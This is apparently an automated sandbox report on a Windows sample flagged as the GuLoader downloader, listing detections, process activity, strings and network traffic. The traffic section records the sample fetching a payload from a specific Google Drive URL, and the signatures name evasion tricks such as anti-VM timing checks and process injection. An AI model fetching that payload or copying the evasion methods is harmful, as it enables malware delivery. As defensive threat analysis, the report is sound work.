Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
Analysis ID:	1617617
MD5:	32cb6ae82e91b97ac49e6df5412698a5
SHA1:	c1adc2d7d481fc1638676f7c87da93acd6e79318
SHA256:	3d29c1dac723e6cfea7beb14513bae42f49f5045f0ac8c9a604ff184045491dd
Tags:	exeuser-SecuriteInfoCom
Infos:

Detection

GuLoader

Score:	76
Range:	0 - 100
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Joe Sandbox ML detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

JA3 SSL client fingerprint seen in connection with other malware

One or more processes crash

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe (PID: 7276 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe" MD5: 32CB6AE82E91B97AC49E6DF5412698A5)

SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe (PID: 7716 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe" MD5: 32CB6AE82E91B97AC49E6DF5412698A5)

WerFault.exe (PID: 7892 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7716 -s 1900 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2129477122.0000000005E69000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000004.00000002.2654019996.00000000021A9000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe PID: 7276	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-18T05:36:13.492333+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49737	216.58.212.174	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	ReversingLabs: Detection: 18%
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Virustotal: Detection: 20%			Perma Link

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 216.58.212.174:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.4:49738 version: TLS 1.2

Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000001.2118944491.0000000000649000.00000008.00000001.01000000.00000009.sdmp
Source:	Binary string: mshtml.pdbUGP source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000001.2118944491.0000000000649000.00000008.00000001.01000000.00000009.sdmp

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Code function: 0_2_00405FFD FindFirstFileA,FindClose,	0_2_00405FFD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Code function: 0_2_0040559B GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_0040559B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Code function: 0_2_00402688 FindFirstFileA,	0_2_00402688

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49737 -> 216.58.212.174:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1HW-z32VgdxHAatMJ2j1S3-3Si0CkkZFB HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1HW-z32VgdxHAatMJ2j1S3-3Si0CkkZFB&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1HW-z32VgdxHAatMJ2j1S3-3Si0CkkZFB HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1HW-z32VgdxHAatMJ2j1S3-3Si0CkkZFB&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Amcache.hve.7.dr	String found in binary or memory: http://upx.sf.net
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000001.2118944491.0000000000649000.00000008.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.ftp.ftp://ftp.gopher.
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000001.2118944491.00000000005F2000.00000008.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000001.2118944491.00000000005F2000.00000008.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2197156742.00000000045FD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2197110224.00000000045FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000002.2656799268.00000000045AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000002.2656799268.00000000045AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/M
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000002.2676998690.0000000033AD0000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000002.2656799268.00000000045AC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000002.2656799268.00000000045C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1HW-z32VgdxHAatMJ2j1S3-3Si0CkkZFB
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000002.2656799268.00000000045AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1HW-z32VgdxHAatMJ2j1S3-3Si0CkkZFBI
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000002.2656928824.00000000045FD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2231914588.00000000045FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2231914588.00000000045FD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000002.2656799268.00000000045E8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2197110224.00000000045FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1HW-z32VgdxHAatMJ2j1S3-3Si0CkkZFB&export=download
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000002.2656928824.00000000045FD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2231914588.00000000045FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1HW-z32VgdxHAatMJ2j1S3-3Si0CkkZFB&export=download1A
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000002.2656928824.00000000045FD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2231914588.00000000045FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1HW-z32VgdxHAatMJ2j1S3-3Si0CkkZFB&export=downloadA9
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000002.2656799268.00000000045E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1HW-z32VgdxHAatMJ2j1S3-3Si0CkkZFB&export=downloadf
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000001.2118944491.0000000000649000.00000008.00000001.01000000.00000009.sdmp	String found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2197156742.00000000045FD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2197110224.00000000045FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2197156742.00000000045FD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2197110224.00000000045FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2197156742.00000000045FD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2197110224.00000000045FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2197156742.00000000045FD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2197110224.00000000045FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2197156742.00000000045FD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2197110224.00000000045FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown	HTTPS traffic detected: 216.58.212.174:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.4:49738 version: TLS 1.2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Code function: 0_2_00405050 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405050

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Code function: 0_2_004030D9 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004030D9

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Code function: 0_2_00406344		0_2_00406344
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Code function: 0_2_0040488F		0_2_0040488F

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7716 -s 1900

Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000000.00000002.2119512369.0000000000436000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameundfangelsen resurceanvendelser.exeDVarFileInfo$ vs SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000002.2657003398.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000000.2115357053.0000000000436000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameundfangelsen resurceanvendelser.exeDVarFileInfo$ vs SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Binary or memory string: OriginalFilenameundfangelsen resurceanvendelser.exeDVarFileInfo$ vs SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal76.troj.evad.winEXE@4/30@2/2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

0_2_004030D9

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Code function: 0_2_0040431C GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_0040431C

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Code function: 0_2_0040205E CoCreateInstance,MultiByteToWideChar,

0_2_0040205E

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

File created: C:\Users\user\Slutafregningers175

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7716

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

File created: C:\Users\user\AppData\Local\Temp\nsf2C8F.tmp

Jump to behavior

Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	ReversingLabs: Detection: 18%
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Virustotal: Detection: 20%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7716 -s 1900
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

File written: C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Jaspoid\Svanehalsens40.ini

Jump to behavior

Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000001.2118944491.0000000000649000.00000008.00000001.01000000.00000009.sdmp
Source:	Binary string: mshtml.pdbUGP source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000001.2118944491.0000000000649000.00000008.00000001.01000000.00000009.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe PID: 7276, type: MEMORYSTR
